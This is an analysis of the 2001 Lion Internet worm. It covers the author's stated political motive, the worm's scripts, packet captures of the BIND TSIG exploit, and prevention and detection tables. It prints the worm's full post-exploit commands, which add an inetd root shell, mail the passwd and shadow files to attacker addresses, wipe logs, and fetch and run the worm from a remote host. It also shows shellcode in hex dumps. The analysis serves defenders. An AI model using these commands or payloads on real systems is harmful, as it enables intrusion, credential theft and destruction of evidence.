"Lion Worm"Lion Internet Worm Analysis
Three versions, more on the way, and a political message.
Max Vision <vision@whitehats.com>

Abstract

This paper provides an introduction to the Lion (1i0n) Worm author and a technical analysis of the Lion Internet Worm. Three unique variations of the Lion Worm have been released on the Internet over the past month. All three versions of the Lion Worm are unsophisticated unix shellscript worms. They use exploit scripts to scan and compromise Linux servers running BIND that have the transaction signatures buffer overflow vulnerability. The origin, composition, and behavior of each worm is discussed in detail. Then, instructions for prevention, detection, and repair of a worm-infected system are offered. The first two strains of the Lion Worm are now effectively "dead", because each of these relied on a centralized distribution mechanism that is now shut down. The third strain of the Lion Worm is essentially a copy of the Ramen worm and, since it shares Ramen's distribution mechanism, it may still be actively exploiting systems.

Contents


Origin

A Chinese cracker named "Lion" authored the Lion Worm. I was able to locate and conduct a brief interview with the author. Lion founded the H.U.C. (Honker Union of China at http://www.cnhonker.com/), which is a Chinese group that supports "the cyber defense of the motherland sovereignty of China". They consider the word "honker" to be a new term, roughly meaning "network guard for national security". Apparently, they have created these worms as a warning against the Japanese because of controvertial books currently used in Japanese schools. These textbooks depict the Japanese invasion and occupation of various asian countries, such as China and Korea, as being beneficial to the occupied countries. The book claims said the 1937-1938 Nanking massacre in China ''was not a holocaust'' and that Japan's annexation of the Korean Peninsula in 1910 was ''legitimate''. The statement I received from the H.U.C. is the following:

"because of the japan's disrepect, cnhonker had been roused,
and the lion worm is just to tell the japanese
chinese is not sheep, they must be answer for
They must assue the obligation with their crime
They must assue their action for the educational book.
"

I did not discuss the right or wrong of their actions. However, I did ask them why they would unleash a worm on the entire internet when they were just upset with the Japanese education system. Their reply was that they could not identify the correct IP addresses ranges. Since these are readily available from jpnic, I question their motives of tying a political message to their actions and calling it hacktivism. If the Lion Worm was meant as a political message, then why was no message attached? In any case, I believe I discovered the actual author, the group, and the (stated) motive.


Composition

There are three distinct versions of the Lion Worm. Each appears to be an unoriginal cut-and-paste, script-driven worm. The first version has an infection routine and includes the t0rn rootkit. The second version is nearly identical to the first, but does not include the rootkit. And the third is almost identical to the Ramen worm, except that its exploits are replaced by the bind exploit.

Each version of the Lion Worm shares the same core components. The worm is composed of a tcp connect portscanner, the bind exploit, and several scripts that tie the components together and drive the worm. For the first two versions of the worm, the worm package (a tgz archive bundle) was downloaded from a server (a FreeBSD system located in China). The third version of the worm uses the distributed distribution code from the Ramen worm and the worm is downloaded from the previously infected system. The following files are found in all known versions of the Lion Worm:

Filename Apparent Author Description
1i0n.sh worm author shell script; removes tcpwrappers access control list, runs getip.sh, adds the worm into the startup scripts, then runs star.sh.
getip.sh worm author shell script; sends system IP address, OS version information, /etc/passwd file, and /etc/shadow file to the attacker's email address (1i0nkit@china.com).
star.sh worm author shell script; launches scan.sh and hack.sh as background processes.
scan.sh worm author shell script; kills any local BIND process running, chooses random class b network by running randb, then runs pscan against the target network dumping results to bindname.log.
randb unknown Linux ELF binary; prints a random class b address such as "10.23" (very similar to gimmeRAND.c from the ADMw0rm, though binary analysis shows several changes).
pscan unknown Linux ELF binary; pscan is a portscanner that scans a given class a, b, or c network range for a single tcp port. Origin found, but there were no author credits in the source.
hack.sh worm author shell script; reads in targets from bindname.log (created by scan.sh) and runs bindx.sh against each target.
bindx.sh worm author shell script; launches bind attack against target.
bind LSD Linux ELF binary; remote exploit for the BIND 8.2.x vulnerability, written by LSD, released on their website February 8th 2001.

This is a typical worm that seems to share much of the same code from previous worms such as the ADMworm (1998) , Millenium Worm (1999), and Ramen Worm (2001). The evidence shows that this is a modified version of another worm, such as the hack.sh script which calls bindx.sh to exploit BIND. This seems redundant, unless you consider that the original hack.sh actually acted as a driver for several different exploit scripts. The Lion Worm author only needed one exploit, but left the script structure that was originally designed for multiple exploits. The other scripts are also only slightly modified versions of scripts from previous worms.


Lion Worm Infection/Propagation Cycle

All three versions of the Lion Worm have the same infection and propagation cycle. Viewed from the perspective of a new victim host, the first sign of worm network activity is a TCP portscan at port 53. The worm scans random class B address blocks for potential targets. When it finds a responsive nameserver, the worm launches the BIND exploit against the target. When this exploit is successful, the commands run (via the BIND exploit) cause the new victim to download its own copy of the worm, extract the worm package, and then execute the startup scripts.

The first step for the worm is a pscan probe of the random class b address space. In my lab setup I crippled the randb program so that it always returns 10.0.0. I chose to use the 10.0.0.0/24 class c space only to reduce clutter in the logs. This still allows for an accurate simulation of the scan. Pscan sends tcp SYN packets to each address in the 10.0.0 range. However, pscan is actually a full connect() scanner. This enables it to operate much more quickly, but it is more "noisy" in most logging systems. The target machine is running a Redhat Linux 6.2 default server at the 10.0.0.23 address. The source machine simulating the worm-infected attacker is on a separate subnet. If it is on the same subnet, a tcp connect() based scanner will not send its probes to hosts unless they respond to arp requests. A packet trace of this successful probe follows:

A full connection is established:

03/26-02:09:58.233466 192.168.0.3:4556 -> 10.0.0.23:53
TCP TTL:64 TOS:0x0 ID:56799 IpLen:20 DgmLen:60 DF
******S* Seq: 0x16322CA3 Ack: 0x0 Win: 0x7D78 TcpLen: 40

03/26-02:09:58.247112 10.0.0.23:53 -> 192.168.0.3:4556
TCP TTL:64 TOS:0x0 ID:749 IpLen:20 DgmLen:60 DF
***A**S* Seq: 0x8BACEBE6 Ack: 0x16322CA4 Win: 0x7D78 TcpLen: 40

03/26-02:09:58.247190 192.168.0.3:4556 -> 10.0.0.23:53
TCP TTL:64 TOS:0x0 ID:56930 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x16322CA4 Ack: 0x8BACEBE7 Win: 0x7D78 TcpLen: 32

A full graceful disconnect:

03/26-02:09:58.344645 192.168.0.3:4556 -> 10.10.0.23:53
TCP TTL:64 TOS:0x0 ID:56932 IpLen:20 DgmLen:52 DF
***A***F Seq: 0x16322CA4 Ack: 0x8BACEBE7 Win: 0x7D78 TcpLen: 32

03/26-02:09:58.385016 10.0.0.23:53 -> 192.168.0.3:4556
TCP TTL:64 TOS:0x0 ID:750 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x8BACEBE7 Ack: 0x16322CA5 Win: 0x7D78 TcpLen: 32

03/26-02:09:58.386565 10.0.0.23:53 -> 192.168.0.3:4556
TCP TTL:64 TOS:0x0 ID:751 IpLen:20 DgmLen:52 DF
***A***F Seq: 0x8BACEBE7 Ack: 0x16322CA5 Win: 0x7D78 TcpLen: 32


03/26-02:09:58.386614 192.168.0.3:4556 -> 10.0.0.23:53
TCP TTL:64 TOS:0x0 ID:56934 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x16322CA5 Ack: 0x8BACEBE8 Win: 0x7D78 TcpLen: 32

Pscan finds the 10.0.0.23 target system responsive to its probe. This IP address is added to bindname.log. A hack script that tails the bindname.log file runs in parallel with the scanner. When the new target IP address is added, the hack script takes the new target IP address and passes it to the BIND exploit.

The BIND exploit, written by the Last Stage of Delirium, is nearly identical in all three worms. LSD actually released their exploit linx86_bind.c on their website February 8th, the exact version used in Lion version 1 (Lion.v1). However, the next day LSD updated the code (without changing the filename), making minor changes to their exploit. The changes were mostly cosmetic and did not affect the exploit methodology. One noticeable change in the newer exploit was the different command line parameters. By matching the command line syntax of the exploits, I determined that Lion.v1 used the February 8th exploit. Lion.v2 and Lion.v3 used later versions. Each worm executes different commands on the remote host with the BIND exploit.

My worm testing was greatly complicated by my choice of example target platform: a default server install of Redhat 6.2. I thought that it was probably the most popular distribution and version of Linux in use on the Internet. Thus, it would be the best example of a typical worm target. Indeed, the BIND exploit specifically listed Redhat 6.2 as the target platform! However, Redhat does not enable the named service by default. When it is activated (via linuxconf or ntsysv utilities), named is run as user named, such as "named -u named". The only way Redhat 6.2 can be vulnerable to the BIND exploit is when the administrator manually adds named to the startup scripts, then intentionally runs it as root by deleting the "-u named" portion of the startup command. After extensive testing, I determined that this was true for all published BIND exploits that claim to affect Redhat 6.2. Then I was convinced that I must have missed something. A very warm thanks goes to Andreas Östling, who described seeing the very same results I had seen and gave me encouragement to continue the analysis.

Since each of the three worms use the same BIND exploit, the packet captures are almost identical except for the commands run on the target server. The following is an example of an attack from Lion.v1.

A TCP connection is established with the named process:

03/26-03:48:43.986286 192.168.0.3:1066 -> 10.0.0.23:53
TCP TTL:64 TOS:0x0 ID:3710 IpLen:20 DgmLen:60 DF
******S* Seq: 0x8BC46DF0 Ack: 0x0 Win: 0x7D78 TcpLen: 40

03/26-03:48:44.012120 10.0.0.23:53 -> 192.168.0.3:1066
TCP TTL:64 TOS:0x0 ID:769 IpLen:20 DgmLen:60 DF
***A**S* Seq: 0x23CBBF59 Ack: 0x8BC46DF1 Win: 0x7D78 TcpLen: 40

03/26-03:48:44.012205 192.168.0.3:1066 -> 10.0.0.23:53
TCP TTL:64 TOS:0x0 ID:3712 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x8BC46DF1 Ack: 0x23CBBF5A Win: 0x7D78 TcpLen: 32

Then, a malformed UDP IQUERY is sent to trigger the BIND Infoleak bug. This information is used by the exploit to determine the base value of the named process frame stack pointer. This information is later used for constructing the proper TSIG exploit packet:

03/26-03:48:44.013916 192.168.0.3:1938 -> 10.0.0.23:53
UDP TTL:64 TOS:0x0 ID:3713 IpLen:20 DgmLen:51
Len: 31
AB CD 09 80 00 00 00 01 00 00 00 00 00 00 01 00 ................
01 20 20 20 20 02 61                            .    .a

03/26-03:48:44.070898 10.0.0.23:53 -> 192.168.0.3:1938
UDP TTL:64 TOS:0x0 ID:770 IpLen:20 DgmLen:660
Len: 640
AB CD 89 81 00 00 00 00 00 00 00 00 00 00 01 00 ................
01 20 20 20 20 02 61 00 17 FB FF C3 00 00 00 00 . .a.........
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 08 14 FA FF BF B4 FA FF BF 00 00 00 BF ................
20 FA FF BF 94 FB FF BF B4 FA FF BF 00 00 00 00 ...............
EC 81 10 40 40 ED 0C 08 48 FC FF BF 48 FC FF BF ...@@...H...H...
00 01 00 07 E9 00 00 04 01 46 C0 1E 00 00 02 00 .........F......
01 00 07 E9 01 00 AD FB 94 FB FF BF 94 FB FF BF ................
00 6B 10 40 00 00 00 00 A1 FB FF BF 00 6B 10 40 .k.@.........k.@
00 00 00 00 0C FB FF BF F0 FA FF BF C1 0A 03 40 ...............@
0C FB FF BF DA 39 08 08 14 FB FF BF DA 39 08 08 .....9.......9..
08 00 00 00 F0 4D 0D 08 08 90 12 40 01 00 00 00 .....M.....@....
C8 26 11 40 3C FB FF BF 25 7A 08 08 F0 4D 0D 08 .&.@<...%z...M..
05 00 00 00 28 FB FF BF C3 39 08 08 08 00 00 00 ....(....9......
00 00 00 00 00 00 00 00 48 FB FF BF DC 87 08 08 ........H.......
08 00 00 00 F0 4D 0D 08 08 90 12 40 06 00 00 00 .....M.....@....
4B 86 08 08 F0 4D 0D 08 68 FB FF BF 5E 86 08 08 K....M..h...^...
08 90 12 40 AC FB FF BF 01 00 00 00 08 80 12 40 ...@...........@
34 FC FF BF 06 00 00 00 F8 FB FF BF 3A D8 05 08 4...........:...
F0 4D 0D 08 06 00 00 00 AC FB FF BF 01 00 00 00 .M..............
8C DB 05 08 08 80 12 40 64 80 12 40 4C 80 12 40 .......@d..@L..@
02 00 00 00 D8 EF 0C 08 F0 4D 0D 08 C8 FB FF BF .........M......
DA 39 08 08 0C 00 00 00 F0 4D 0D 08 16 00 00 00 .9.......M......
01 00 00 00 DD D7 CB 3A 61 6E 0E 00 F0 4D 0D 08 .......:an...M..
FF FF FF FF DD D7 CB 3A DC FB FF BF C3 39 08 08 .......:.....9..
0C 00 00 00 00 00 00 00 00 00 00 00 94 FC FF BF ................
23 6C 08 08 0C 00 00 00 D0 4D 0D 08 FF FF FF FF #l.......M......
00 00 00 00 F0 4D 0D 08 10 4E 0D 08 64 24 11 40 .....M...N..d$.@
F0 4D 0D 08 40 24 11 40 00 00 00 00 00 00 00 00 .M..@$.@........
5C D0 11 40 B5 E2 CB 3A 28 A8 8D 0B 88 24 11 40 \..@...:(....$.@
01 00 00 00 3C FC FF BF 92 3B 08 08 0C 00 00 00 ....<....;......
88 24 11 40 DD D7 CB 3A E8 2A 5F 38 54 FC FF BF .$.@...:.*_8T...
7E 3B 08 08 02 00 07 92 C0 A8 00 03 14 DF 71 C1 ~;............q.
DC 15 9F C0 98 FC FF BF 6D 6D 08 08 F0 4D 0D 08 ........mm...M..
40 24 11 40 16 00 00 00 01 00 00 00 F0 4D 0D 08 @$.@.........M..
05 00 00 00 80 E4 0B 08 16 00 00 00 01 00 00 00 ................
80 DE 05 08 40 24 11 40 D0 4D 0D 08 FF FF FF FF ....@$.@.M......
00 00 00 00 C8 FD FF BF C8 FD FF BF C5 D3 05 08 ................
F0 4D 0D 08 04 D7 10 40 EC 81 10 40 60 AE 00 40 .M.....@...@`..@
14 FE FF BF D5 9A 02 40                         .......@

Since the target appears to be a vulnerable Linux running BIND 8, the exploit sends its overflow. The exploit code walks the descriptor table of the exploited named process in search of the socket descriptor of the previously established TCP session. The found descriptor is duplicated on stdin, stdout, stderr, and /bin/sh is spawned:

03/26-03:48:44.081585 192.168.0.3:1938 -> 10.0.0.23:53
UDP TTL:64 TOS:0x0 ID:3718 IpLen:20 DgmLen:537
Len: 517
AB CD 01 00 00 02 00 00 00 00 00 01 3F 90 90 90 ............?...
EB 3B 31 DB 5F 83 EF 7C 8D 77 10 89 77 04 8D 4F .;1._..|.w..w..O
20 89 4F 08 B3 10 89 19 31 C9 B1 FF 89 0F 51 31 .O.....1.....Q1
C0 B0 66 B3 07 89 F9 CD 80 59 31 DB 39 D8 75 0A ..f......Y1.9.u.
66 BB 04 2A 66 39 5E 02 74 08 E2 E0 3F E8 C0 FF f..*f9^.t...?...
FF FF 89 CB 31 C9 B1 03 31 C0 B0 3F 49 CD 80 41 ....1...1..?I..A
E2 F6 EB 14 31 C0 5B 8D 4B 14 89 19 89 43 18 88 ....1.[.K....C..
43 07 31 D2 B0 0B CD 80 E8 E7 FF FF FF 2F 62 69 C.1........../bi
6E 2F 73 68 90 90 90 90 90 90 90 90 01 6B 01 40 n/sh.........k.@
01 00 01 00 01 FB 01 BF 01 FA 01 BF 01 0A 01 40 ...............@
01 FB 01 BF 01 39 01 08 01 FB 01 BF 01 39 01 08 .....9.......9..
01 00 01 00 01 4D 01 08 01 90 01 40 01 00 01 00 .....M.....@....
01 26 01 40 01 FB 01 BF 01 7A 01 08 01 4D 01 08 .&.@.....z...M..
01 00 01 00 01 FB 01 BF 01 39 01 08 01 00 01 00 .........9......
01 00 01 00 01 00 01 00 01 FB 01 BF 01 87 01 08 ................
01 00 01 00 01 4D 01 08 01 90 01 40 01 00 01 00 .....M.....@....
01 86 01 08 01 4D 01 08 01 FB 01 BF 00 00 01 00 .....M..........
01 01 12 01 AC 01 FF 01 01 01 00 01 08 01 12 01 ................
34 01 FF 01 06 01 00 01 F8 01 FF 01 3A 01 05 01 4...........:...
F0 01 0D 01 06 01 00 01 AC 01 FF 01 01 01 00 01 ................
8C 01 05 01 08 01 12 01 64 01 12 01 4C 01 12 01 ........d...L...
02 01 00 01 D8 01 0C 01 F0 01 0D 01 C8 01 FF 01 ................
DA 01 08 01 0C 01 00 01 F0 01 0D 01 16 01 00 01 ................
01 01 00 01 DD 01 CB 01 61 01 0E 01 F0 01 0D 01 ........a.......
FF 01 FF 01 DD 01 CB 01 DC 01 FF 01 C3 01 08 01 ................
0C 01 00 01 00 01 00 01 00 01 00 01 94 01 FF 01 ................
23 01 08 01 0C 01 00 01 D0 01 0D 01 FF 01 FF 01 #...............
00 01 00 01 F0 01 0D 01 10 01 0D 01 64 01 11 10 ............d...
06 00 00 00 4D FA FF BF 00 00 00 00 00 FC FF BF ....M...........
01 D0 01 40 01 E2 01 3A 01 A8 01 0B 01 24 01 40 ...@...:.....$.@
01 00 01 00 01 FC 01 BF 01 3B 01 08 01 00 01 00 .........;......
01 24 01 40 00 00 01 00 01 00 00 FA FF          .$.@.........

03/26-03:48:44.231793 10.0.0.23:53 -> 192.168.0.3:1938
UDP TTL:64 TOS:0x0 ID:771 IpLen:20 DgmLen:561
Len: 541
AB CD 81 80 00 02 00 00 00 00 00 01 3F 90 90 90 ............?...
EB 3B 31 DB 5F 83 EF 7C 8D 77 10 89 77 04 8D 4F .;1._..|.w..w..O
20 89 4F 08 B3 10 89 19 31 C9 B1 FF 89 0F 51 31 .O.....1.....Q1
C0 B0 66 B3 07 89 F9 CD 80 59 31 DB 39 D8 75 0A ..f......Y1.9.u.
66 BB 04 2A 66 39 5E 02 74 08 E2 E0 3F E8 C0 FF f..*f9^.t...?...
FF FF 89 CB 31 C9 B1 03 31 C0 B0 3F 49 CD 80 41 ....1...1..?I..A
E2 F6 EB 14 31 C0 5B 8D 4B 14 89 19 89 43 18 88 ....1.[.K....C..
43 07 31 D2 B0 0B CD 80 E8 E7 FF FF FF 2F 62 69 C.1........../bi
6E 2F 73 68 90 90 90 90 90 90 90 90 01 6B 01 40 n/sh.........k.@
01 00 01 00 01 FB 01 BF 01 FA 01 BF 01 0A 01 40 ...............@
01 FB 01 BF 01 39 01 08 01 FB 01 BF 01 39 01 08 .....9.......9..
01 00 01 00 01 4D 01 08 01 90 01 40 01 00 01 00 .....M.....@....
01 26 01 40 01 FB 01 BF 01 7A 01 08 01 4D 01 08 .&.@.....z...M..
01 00 01 00 01 FB 01 BF 01 39 01 08 01 00 01 00 .........9......
01 00 01 00 01 00 01 00 01 FB 01 BF 01 87 01 08 ................
01 00 01 00 01 4D 01 08 01 90 01 40 01 00 01 00 .....M.....@....
01 86 01 08 01 4D 01 08 01 FB 01 BF 00 00 01 00 .....M..........
01 01 12 01 AC 01 FF 01 01 01 00 01 08 01 12 01 ................
34 01 FF 01 06 01 00 01 F8 01 FF 01 3A 01 05 01 4...........:...
F0 01 0D 01 06 01 00 01 AC 01 FF 01 01 01 00 01 ................
8C 01 05 01 08 01 12 01 64 01 12 01 4C 01 12 01 ........d...L...
02 01 00 01 D8 01 0C 01 F0 01 0D 01 C8 01 FF 01 ................
DA 01 08 01 0C 01 00 01 F0 01 0D 01 16 01 00 01 ................
01 01 00 01 DD 01 CB 01 61 01 0E 01 F0 01 0D 01 ........a.......
FF 01 FF 01 DD 01 CB 01 DC 01 FF 01 C3 01 08 01 ................
0C 01 00 01 00 01 00 01 00 01 00 01 94 01 FF 01 ................
23 01 08 01 0C 01 00 01 D0 01 0D 01 FF 01 FF 01 #...............
00 01 00 01 F0 01 0D 01 10 01 0D 01 64 01 11 10 ............d...
06 00 00 00 4D FA FF BF 00 00 00 00 00 FC FF BF ....M...........
01 D0 01 40 01 E2 01 3A 01 A8 01 0B 01 24 01 40 ...@...:.....$.@
01 00 01 00 01 FC 01 BF 01 3B 01 08 01 00 01 00 .........;......
01 24 01 40 00 00 01 00 01 00 00 FA 00 FF 00 00 .$.@............
00 00 00 11 00 00 00 3A CB D7 DD 01 2C 00 00 AB .......:....,...
CD 00 11 00 00                                  .....

Now that the TCP session is bound to a root shell, the exploit can send its commands:

03/26-03:48:45.097060 192.168.0.3:1066 -> 10.0.0.23:53
TCP TTL:64 TOS:0x0 ID:3727 IpLen:20 DgmLen:552 DF
***AP*** Seq: 0x8BC46DF1 Ack: 0x23CBBF5A Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 118820653 18817617
50 41 54 48 3D 27 2F 75 73 72 2F 62 69 6E 3A 2F PATH='/usr/bin:/
62 69 6E 3A 2F 75 73 72 2F 6C 6F 63 61 6C 2F 62 bin:/usr/local/b
69 6E 2F 3A 2F 75 73 72 2F 73 62 69 6E 2F 3A 2F in/:/usr/sbin/:/
73 62 69 6E 27 3B 65 78 70 6F 72 74 20 50 41 54 sbin';export PAT
48 3B 65 78 70 6F 72 74 20 54 45 52 4D 3D 76 74 H;export TERM=vt
31 30 30 3B 72 6D 20 2D 72 66 20 2F 64 65 76 2F 100;rm -rf /dev/
2E 6C 69 62 3B 6D 6B 64 69 72 20 2F 64 65 76 2F .lib;mkdir /dev/
2E 6C 69 62 3B 63 64 20 2F 64 65 76 2F 2E 6C 69 .lib;cd /dev/.li
62 3B 65 63 68 6F 20 27 31 30 30 38 20 73 74 72 b;echo '1008 str
65 61 6D 20 74 63 70 20 6E 6F 77 61 69 74 20 72 eam tcp nowait r
6F 6F 74 20 2F 62 69 6E 2F 73 68 20 73 68 27 20 oot /bin/sh sh'
3E 3E 2F 65 74 63 2F 69 6E 65 74 64 2E 63 6F 6E >>/etc/inetd.con
66 3B 6B 69 6C 6C 61 6C 6C 20 2D 48 55 50 20 69 f;killall -HUP i
6E 65 74 64 3B 69 66 63 6F 6E 66 69 67 20 2D 61 netd;ifconfig -a
3E 31 69 30 6E 3B 63 61 74 20 2F 65 74 63 2F 70 >1i0n;cat /etc/p
61 73 73 77 64 20 3E 3E 31 69 30 6E 3B 63 61 74 asswd >>1i0n;cat
20 2F 65 74 63 2F 73 68 61 64 6F 77 20 3E 3E 31 /etc/shadow >>1
69 30 6E 3B 6D 61 69 6C 20 31 69 30 6E 69 70 40 i0n;mail 1i0nip@
63 68 69 6E 61 2E 63 6F 6D 20 3C 31 69 30 6E 3B china.com <1i0n;
72 6D 20 2D 66 72 20 31 69 30 6E 3B 72 6D 20 2D rm -fr 1i0n;rm -
66 72 20 2F 2E 62 61 73 68 5F 68 69 73 74 6F 72 fr /.bash_histor
79 3B 6C 79 6E 78 20 2D 64 75 6D 70 20 68 74 74 y;lynx -dump htt
70 3A 2F 2F 63 6F 6F 6C 6C 69 6F 6E 2E 35 31 2E p://coollion.51.
6E 65 74 2F 63 72 65 77 2E 74 67 7A 20 3E 31 69 net/crew.tgz >1i
30 6E 2E 74 67 7A 3B 74 61 72 20 2D 7A 78 76 66 0n.tgz;tar -zxvf
20 31 69 30 6E 2E 74 67 7A 3B 72 6D 20 2D 66 72 1i0n.tgz;rm -fr
20 31 69 30 6E 2E 74 67 7A 3B 63 64 20 6C 69 62 1i0n.tgz;cd lib
3B 2E 2F 31 69 30 6E 2E 73 68 3B 65 78 69 74 3B ;./1i0n.sh;exit;
0A 00 65 72 72 6F 72 00 00 00 00 00 00 00 00 00 ..error.........
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 54 AD 04 08 00 00 00 00 00 00 00 00 ....T...........
00 00 00 00                                     ....

03/26-03:48:45.107991 10.0.0.23:53 -> 192.168.0.3:1066
TCP TTL:64 TOS:0x0 ID:772 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x23CBBF5A Ack: 0x8BC46FE5 Win: 0x7C70 TcpLen: 32

The following table illustrates the commands used in the BIND exploit by each version of the worm.

Commands sent by each Lion worm using BIND exploit (differences marked in red)
Lion.v1  PATH='/usr/bin:/bin:/usr/local/bin/:/usr/sbin/:/sbin';
export PATH;
export TERM=vt100;
rm -rf /dev/.lib;
mkdir /dev/.lib;
cd /dev/.lib;
echo '1008 stream tcp nowait root /bin/sh sh' >>/etc/inetd.conf;
killall -HUP inetd;
ifconfig -a>1i0n;
cat /etc/passwd >>1i0n;
cat /etc/shadow >>1i0n;
mail 1i0nip@china.com <1i0n;
rm -fr 1i0n;
rm -fr /.bash_history;
lynx -dump http://coollion.51.net/crew.tgz >1i0n.tgz;
tar -zxvf 1i0n.tgz;
rm -fr 1i0n.tgz;
cd lib;
./1i0n.sh;
exit;
Lion.v2  PATH='/usr/bin:/bin:/usr/local/bin/:/usr/sbin/:/sbin';
export PATH;
export TERM=vt100;
rm -rf /dev/.lib;
mkdir /dev/.lib;
cd /dev/.lib;
echo '1008 stream tcp nowait root /bin/sh sh' >>/etc/inetd.conf;
killall -HUP inetd;
ifconfig -a>1i0n;
cat /etc/passwd >>1i0n;
cat /etc/shadow >>1i0n;
mail 1i0nip@china.com <1i0n;
rm -fr 1i0n;
rm -fr /.bash_history;
echo >/var/log/messages;
echo >/var/log/maillog;

lynx -dump http://coollion.51.net/crew.tgz >1i0n.tgz;
tar -zxvf 1i0n.tgz;
rm -fr 1i0n.tgz;
cd lib;
./1i0n.sh;
exit
Lion.v3 

PATH='/usr/bin:/bin:/usr/local/bin/:/usr/sbin/:/sbin';
export PATH;
export TERM=vt100;
rm -rf /dev/.lib;
mkdir /dev/.lib;
cd /dev/.lib;
echo '10008 stream tcp nowait root /bin/sh sh' >>/etc/inetd.conf;
killall -HUP inetd;
ifconfig -a>1i0n;
cat /etc/passwd >>1i0n;
cat /etc/shadow >>1i0n;
mail huckit@china.com
<1i0n;
rm -fr 1i0n;
rm -fr /.bash_history;
echo >/var/log/messages;
rm -rf /var/log/maillog;
echo 'Powered by H.U.C(c0011i0n).-----1i0n Crew' >index.html;
echo '#!/bin/sh' > lion;
echo 'nohup find / -name "index.html" -exec /bin/cp index.html {} \;'>>lion;
echo 'tar -xf 1i0n.tar'>>lion;
echo './1i0n.sh' >>lion;
echo >>lion;
echo >>lion;
chmod 755 lion;
TERM='linux'
export PATH='/sbin:/usr/sbin:/bin:/usr/bin:/usr/local/bin'
lynx -source http://PREVIOUS-HOST-IP:27374 > 1i0n.tar;
./lion

The key difference in the way each worm propagates is that the first two versions use lynx to download the worm archive from a hardcoded website address. The website hosted in China has since been removed, effectively killing those strains of the worm. The third version uses the asp webserver code from the Ramen worm. In fact, the same binary was simply copied over, and even uses the same name for the file: /tmp/ramen.tgz. This method causes the new victim to connect back to the attacker at port 27374 to download a copy of the worm. This port is used by the asp webserver program because it is started from inetd.conf using the service name "asp". In Redhat 6.2, /etc/services correlates to port 27374.

When a remote system is exploited by the worm and the worm has run the exploit commands, the worm archive is downloaded, extracted, and launched on the new victim host. The following process flowchart shows how the scripts of the worm package interact and effectively spread the worm to other systems. With each repeat of this cycle, each new infected system immediately starts scanning and attacking other random systems.

Lion Process Flowchart (all Lion versions follow this model)


Prevention

Since the Lion Worm can only spread through the BIND TSIG vulnerability, closing this security hole prevents infection. Security patches have been available from vendors since January 2001. Vulnerable Linux distributions have released update RPMs that effectively close the hole. Various remote exploits for this vulnerability have been widely published in public forums and web sites. Despite the availability of patches and widespread exploitation of vulnerable services, a very large number of Linux servers remain vulnerable.

Attempts to obscure the BIND version or server operating system are not effective in preventing infection, since the worm attempts to exploit all BIND servers that it finds. The exploit, written by LSD, intelligently uses the BIND Infoleak vulnerability to determine if the remote system can be exploited before attempting to compromise the server.

Caldera, Conectiva, Debian, Immunix, Mandrake, Redhat, Slackware, SuSE, and TurboLinux have released patches or upgrades to address the vulnerability. Please visit your vendor's security or errata webpage for more detailed prevention and upgrading information. The following direct links are provided:

Caldera: http://www.caldera.com/support/security/advisories/CSSA-2001-008.1.txt
Conectiva: http://distro.conectiva.com/atualizacoes/?id=a&anuncio=000377
Debian: http://www.debian.org/security/2001/dsa-026
Immunix: http://download.immunix.org/ImmunixOS/7.0-beta/updates/IMNX-2001-70-001-01
Mandrake: http://www.linux-mandrake.com/en/security/2001/MDKSA-2001-017.php3
Redhat: http://www.redhat.com/support/errata/RHSA-2001-007.html
Slackware: http://www.linuxsecurity.com/advisories/slackware_advisory-1121.html
SuSE: http://www.suse.com/de/support/security/2001_003_bind8_%20txt.txt
TurboLinux: http://www.turbolinux.com/pipermail/tl-security-announce/2001-February/000034.html


Detection on a Local Host

The scanning and BIND exploit attacks do not leave logs in a default install of Redhat Linux. Other platforms may vary. Although /var/log/maillog is truncated or deleted in all three variations of the worm, the use of a proxy mail gateway or proxy firewall will leave traces of the destination email addresses as the worms send data back to the attacker. Addresses used by the worms are shown in the following table.

Email addresses used by the Lion Worm
Lion.v1 1i0nip@china.com
1i0nsniffer@china.com
Lion.v2 1i0nip@china.com
1i0nkit@china.com
Lion.v3 huckit@china.com

The following filesystem irregularities are attributable to the Lion worm. Note the redundant index.html replacement in Lion.v3.

Filesystem changes caused by the Lion Worm
Lion.v1 

Changes caused by the initial BIND exploit:
  /dev/.lib/ directory and contents
 /etc/inetd.conf has new entry appended '1008 stream tcp nowait root /bin/sh sh'
  /.bash_history missing
Changes caused by the worm scripts:
 /etc/rc.d/rc.sysinit has new entry appended '/dev/.lib/lib/scan/star.sh'
 /etc/hosts.deny is missing (an empty placeholder file is present by default)
Changes caused by the t0rn rootkit:
 /etc/inetd.conf has new entry appended '60008 stream tcp nowait root /bin/sh sh'
 /etc/inetd.conf has new entry appended '33567 stream tcp nowait root /bin/sh sh'
  /etc/ttyhash exists (cnhonker password hash)
 /usr/man/man1/man1/lib/.lib/ directory and contents
 /usr/src/.puta/ directory and contents
 /usr/info/.t0rn/ directory and contents
 /bin/mjy exists (log wiping utility)
 /usr/man/man1/man1/lib/.lib/.x exists (suid root shell)
 /etc/rc.d/rc.sysinit has new entry for nscd (not in the worm) and in.telnetd trojan
 /tmp/.pinespool exists (temporary file for inetd.conf manipulation)
  /root/.bash_history missing
  /var/log/messages truncated
  /var/log/maillog truncated
Trojaned/replaced files:
  /bin/in.telnetd
 /usr/sbin/in.fingerd
 /bin/ps
 /sbin/ifconfig
 /usr/bin/du
 /bin/netstat
 /usr/bin/top
 /bin/ls
 /usr/bin/find
note: William Sterns has written the lionfind-0.1.tar.gz software that will attempt to locate files created by a Lion.v1 infection.

Lion.v2 

Changes caused by the initial BIND exploit:
  /dev/.lib/ directory and contents
 /etc/inetd.conf has new entry appended '1008 stream tcp nowait root /bin/sh sh'
  /.bash_history missing
  /var/log/messages truncated
  /var/log/maillog truncated
Changes caused by the worm scripts:
 /etc/rc.d/rc.sysinit has new entry appended '/dev/.lib/lib/scan/star.sh' (wrong directory buddy)
 /etc/hosts.deny is missing (an empty placeholder file is present by default)

Lion.v3 

Changes caused by the initial BIND exploit:
  /dev/.lib/ directory and contents
 /etc/inetd.conf has new entry appended '10008 stream tcp nowait root /bin/sh sh'
  /.bash_history missing
  /var/log/messages truncated
  /var/log/maillog deleted
 all index.html files are overwritten by 'Powered by H.U.C(c0011i0n).-----1i0n Crew'
